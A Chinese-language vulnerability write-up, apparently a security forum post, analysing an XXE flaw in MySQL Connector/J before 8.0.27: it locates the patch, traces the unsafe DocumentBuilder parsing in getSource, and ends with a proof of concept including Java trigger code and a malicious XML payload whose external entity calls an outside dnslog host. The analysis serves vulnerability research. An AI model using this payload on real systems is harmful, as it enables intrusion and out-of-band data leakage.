漏洞介绍

JDBC存在XXE漏洞,造成漏洞的原因主要是因为getSource方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。

影响版本: < MySQL JDBC 8.0.27

补丁定位

通告中说到漏洞是出现在驱动8.0.27之前的版本,我们就可以下载8.0.26和8.0.27两个版本的驱动,然后再用工具来对比两个代码的不同之处。

驱动下载地址:https://cdn.mysql.com//Downloads/Connector-J/mysql-connector-java-8.0.26.zip

说到是XXE漏洞,就可以快速定位到解析XML的关键代码处:

src\main\user-impl\java\com\mysql\cj\jdbc\MysqlSQLXML.java

可以看到代码多处调用setFeature方法来预防XXE漏洞,具体预防可以看这篇文章:https://blog.csdn.net/scmrpu/article/details/50423701

漏洞分析

通过前面的补丁定位,发现漏洞出在了getSource方法中,之后的代码我就会在8.0.26中进行分析,看看漏洞是如何造成的。

首先看到getSource方法中:

public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
    checkClosed();
    checkWorkingWithResult();

    if (clazz == null || clazz.equals(SAXSource.class)) {

    } else if (clazz.equals(DOMSource.class)) {

    } else if (clazz.equals(StreamSource.class)) {

    } else if (clazz.equals(StAXSource.class)) {

    } else {
        throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[] { clazz.toString() }),
                MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);
    }
}

这里我删掉了关键功能,留了一个大致逻辑。因此读者能简单的看出该功能方法中就是判断clazz类属于哪一种Source源,来根据其具体情况做出反应。

但是在代码的DOMSource处理逻辑中,使用了DocumentBuilder.parse方法直接解析XML内容

if (clazz.equals(DOMSource.class)) {
    try {
        DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
        builderFactory.setNamespaceAware(true);
        DocumentBuilder builder = builderFactory.newDocumentBuilder();

        InputSource inputSource = null;

        if (this.fromResultSet) {
            inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
        } else {
            inputSource = new InputSource(new StringReader(this.stringRep));
        }

        return (T) new DOMSource(builder.parse(inputSource));   //sink
    } catch (Throwable t) {
        SQLException sqlEx = SQLError.createSQLException(t.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, t, this.exceptionInterceptor);
        throw sqlEx;
    }

}

这里解析了inputSource的内容,接着看inputSource是如何传入进来的:

if (this.fromResultSet) {
    inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
    inputSource = new InputSource(new StringReader(this.stringRep));
}

这里的this.fromResultSet不出意外,基本上是false的状态,因此传入的内容就由this.stringRep控制。
而该变量是由setString方法传入

@Override
public synchronized void setString(String str) throws SQLException {
    checkClosed();
    checkWorkingWithResult();

    this.stringRep = str;
    this.fromResultSet = false;
}

SQLXML

简单来说就是可供程序员通过调用ResultSet、CallableStatement 和 PreparedStatement 接口中的方法(例如 getSQLXML)来访问 XML 值。

SQLXML sqlxml = resultSet.getSQLXML(column);

同时,由于程序可能通过SQLXML的方法,来快速获取/设置xml中的某些值(如Username、Password等标签内容),可以使用sqlxml.getSource的方式获取对应的Source/Result对象。

DOMSource domSource = sqlxml.getSource(DOMSource.class);
Document document = (Document) domSource.getNode();

DOMResult domResult = sqlxml.setResult(DOMResult.class);
domResult.setNode(myNode);

漏洞利用

Statement statement = connection.createStatement();
statement.execute("select * from login_xml");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
    SQLXML sqlxml = resultSet.getSQLXML("passwd");
    DOMSource domSource = sqlxml.getSource(DOMSource.class);
    Document document = (Document) domSource.getNode();
}

首先将恶意的xml代码写入数据库

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog.com">
%remote;]>
<root/>

之后运行测试代码,触发漏洞。

Reference

[1].https://docs.oracle.com/javase/8/docs/api/java/sql/SQLXML.html

[2].https://github.com/h2database/h2database/issues/3195

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖